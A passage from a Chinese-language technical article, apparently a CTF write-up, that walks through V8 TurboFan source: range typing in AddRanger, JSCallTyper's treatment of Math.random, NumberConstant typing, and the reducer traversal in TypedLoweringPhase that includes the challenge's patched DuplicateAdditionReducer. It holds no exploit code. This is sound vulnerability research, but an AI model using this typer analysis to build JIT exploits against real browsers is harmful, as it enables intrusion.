102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>          (rhs.Maybe(minus_infinity_) &amp;&amp; lhs.Maybe(infinity_))) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span>        maybe_nan = <span style="font-size: inherit;line-height: inherit;color: rgb(86, 182, 194);overflow-wrap: inherit !important;word-break: inherit !important;">true</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>      }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span>      type = Type::PlainNumber();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">41</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Take into account the -0 and NaN information computed earlier.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">42</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (maybe_minuszero) type = Type::Union(type, Type::MinusZero(), zone());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">43</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (maybe_nan) type = Type::Union(type, Type::NaN(), zone());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">44</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> type;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">45</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">继续看<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">AddRanger</code>,也就清楚了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SpeculativeNumberAdd</code>结点的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">range</code>设置</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\operation-typer.cc: 178</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>Type OperationTyper::AddRanger(<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">double</span> lhs_min, <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">double</span> lhs_max, <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">double</span> rhs_min,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>                               <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">double</span> rhs_max) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">double</span> results[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  results[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] = lhs_min + rhs_min;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  results[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>] = lhs_min + rhs_max;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>  results[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>] = lhs_max + rhs_min;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>  results[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>] = lhs_max + rhs_max;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Since none of the inputs can be -0, the result cannot be -0 either.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// However, it can be nan (the sum of two infinities of opposite sign).</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// On the other hand, if none of the &#34;results&#34; above is nan, then the</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// actual result cannot be nan either.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> nans = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> i = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>; ++i) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">std</span>::isnan(results[i])) ++nans;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (nans == <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>) <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> Type::NaN();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>  Type type = Type::Range(array_min(results, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>), array_max(results, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>), zone());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (nans &gt; <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>) type = Type::Union(type, Type::NaN(), zone());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Examples:</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//   [-inf, -inf] + [+inf, +inf] = NaN</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//   [-inf, -inf] + [n, +inf] = [-inf, -inf] \/ NaN</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//   [-inf, +inf] + [n, +inf] = [-inf, +inf] \/ NaN</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//   [-inf, m] + [n, +inf] = [-inf, +inf] \/ NaN</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> type;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>}<br/></code></pre><h5 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">(3-2) JSCall node</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">再跟踪下<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jscall</code>结点的Typer处理，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Typer::Visitor::Reduce</code>#75处理</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">define</span> DECLARE_CASE(x) \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>  case IrOpcode::k##x:  \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>    return UpdateType(node, Type##x(node));</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>      DECLARE_CASE(Start)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>      DECLARE_CASE(IfException)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// VALUE_OP_LIST without JS_SIMPLE_BINOP_LIST:</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>      COMMON_OP_LIST(DECLARE_CASE)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>      SIMPLIFIED_COMPARE_BINOP_LIST(DECLARE_CASE)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>      SIMPLIFIED_OTHER_OP_LIST(DECLARE_CASE)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>      JS_SIMPLE_UNOP_LIST(DECLARE_CASE)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>      JS_OBJECT_OP_LIST(DECLARE_CASE)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>      JS_CONTEXT_OP_LIST(DECLARE_CASE)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>      JS_OTHER_OP_LIST(DECLARE_CASE)  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//JSCall在这里处理</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">undef</span> DECLARE_CASE</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">这个处理比较容易跟踪，最终在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JSCallTyper</code>处理，可以看到调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Math.random()</code>将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">return Type::PlainNumber();</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\typer.cc#1417</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!fun.IsHeapConstant() || !fun.AsHeapConstant()-&gt;Ref().IsJSFunction()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> Type::NonInternal();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  JSFunctionRef function = fun.AsHeapConstant()-&gt;Ref().AsJSFunction();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!function.shared().HasBuiltinFunctionId()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> Type::NonInternal();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">switch</span> (function.shared().builtin_function_id()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">case</span> BuiltinFunctionId::kMathRandom:<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> Type::PlainNumber();<br/></code></pre><h5 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">(3-3) NumberConstant node</span></h5><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.14429530201342283" title="" data-type="png" data-w="596" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=ec88559a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcXwYcwrCR3pRtyF6pQZNUIIj5sCuicH1J1P5ef6OAmzRuHDCGWVWFcbQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NumberConstant</code>设置<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">range</code><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.25" title="" data-type="png" data-w="544" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7082a758&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzc6p78I3snapsSSjoJVxQiaSETH27P0iaWJzqFCQfLXIIXFqJydvMlhC6Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">其他的node也会一一通过typerphase设置type。</p><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">（4）TypedLoweringPhase</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">直到这个phase添加了比较多的reducer，我才意识到v8对于<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sea of nodes</code>的整体遍历逻辑：v8在开始reduce之前，会从<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">end</code>开始进行深度优先遍历，将遍历的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">node</code>push到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">stack_</code>中，然后从<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">stack_</code>顶部开始调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Reduce</code>进行处理。<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Reduce</code>中循环遍历<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">reducers_</code>中的全部reducer，分别调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">reducer-&gt;Reduce(node)</code>处理。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">bool PipelineImpl::CreateGraph(){}</code>调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">TypedLoweringPhase</code>，其中添加的Reducer包括题目中patch的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DuplicateAdditionReducer</code>，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">TypedLoweringPhase-&gt;Run()</code>添加多个Reducer后，最后调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">graph_reducer.ReduceGraph()</code>:</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">void</span> GraphReducer::ReduceGraph() { ReduceNode(graph()-&gt;end()); }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">graph()-&gt;end()</code>即获得<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Graph</code>类的成员变量<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">_end</code>,其指向sea of 